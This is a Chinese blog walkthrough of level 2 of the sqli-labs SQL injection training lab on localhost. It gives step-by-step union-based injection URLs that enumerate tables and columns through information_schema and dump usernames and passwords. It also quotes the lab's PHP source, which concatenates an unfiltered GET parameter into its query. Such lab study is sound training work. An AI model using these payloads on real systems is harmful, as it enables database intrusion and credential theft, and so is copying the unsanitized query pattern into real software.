接上篇博客:http://blog.51cto.com/tdcqvip/2060816
来到第二关:
http://127.0.0.1/sqli-labs-master/Less-2/
访问http://127.0.0.1/sqli-labs-master/Less-2/?id=1
判断是否有注入点:
and 1 = 1 返回正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23
and 1 = 2 返回失败
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23
说明存在注入点:
order by n 查看字段
当n=3时返回正确
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 %23
当=4时返回错误
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 %23
说明字段是3
用union select 进行联合查询:
并用报错的方式显示显示位:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3 %23
通过上图可以看到显示位在2,3上。
用version()和database()查看php版本和当前网站用的数据库名字
我们通过上图可以看到数据库是“security” 版本是5.5.53
接下来我们查看数据库security下的表:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23
通过上图可以看到有users表
查看users表里的列
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23
接下来就是查看username和password里的内容:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where id = 2 %23
结束:
声明:源代码被我改动了,所以在注入的时候才会显示出来查询语句
接下来看看源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
<!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<html xmlns=
"http://www.w3.org/1999/xhtml"
>
<head>
<meta http-equiv=
"Content-Type"
content=
"text/html; charset=utf-8"
/>
<title>Less-2 **Error Based- Intiger**</title>
</head>
<body bgcolor=
"#000000"
>
<div style=
" margin-top:60px;color:#FFF; font-size:23px; text-align:center"
>Welcome <font color=
"#FF0000"
> Dhakkan </font><br>
<font size=
"3"
color=
"#FFFF00"
>
<?php
//including the Mysql connect parameters.
include
(
"../sql-connections/sql-connect.php"
);
error_reporting
(0);
// take the variables
if
(isset(
$_GET
[
'id'
]))
{
$id
=
$_GET
[
'id'
];
//logging the connection parameters to a file for analysis.
$fp
=
fopen
(
'result.txt'
,
'a'
);
fwrite(
$fp
,
'ID:'
.
$id
.
"\n"
);
fclose(
$fp
);
// connectivity
$sql
=
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
;
$result
=mysql_query(
$sql
);
$row
= mysql_fetch_array(
$result
);
echo
$sql
;
echo
"<br>"
;
if
(
$row
)
{
echo
"<font size='5' color= '#99FF00'>"
;
echo
'Your Login name:'
.
$row
[
'username'
];
echo
"<br>"
;
echo
'Your Password:'
.
$row
[
'password'
];
echo
"</font>"
;
}
else
{
echo
'<font color= "#FFFF00">'
;
print_r(mysql_error());
echo
"</font>"
;
}
}
else
{
echo
"Please input the ID as parameter with numeric value"
;
}
?>
</font> </div></br></br></br><center>
<img src=
"../images/Less-2.jpg"
/></center>
</body>
</html>
|
通过源代码我们可以看到,在连接数据库查询的时候并没有进行任何过滤
与第一关不同的地方就是
1
|
$sql
=
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
;
|
这句,没有“''”符号。
利用方式大致相同。
第三关尽快更新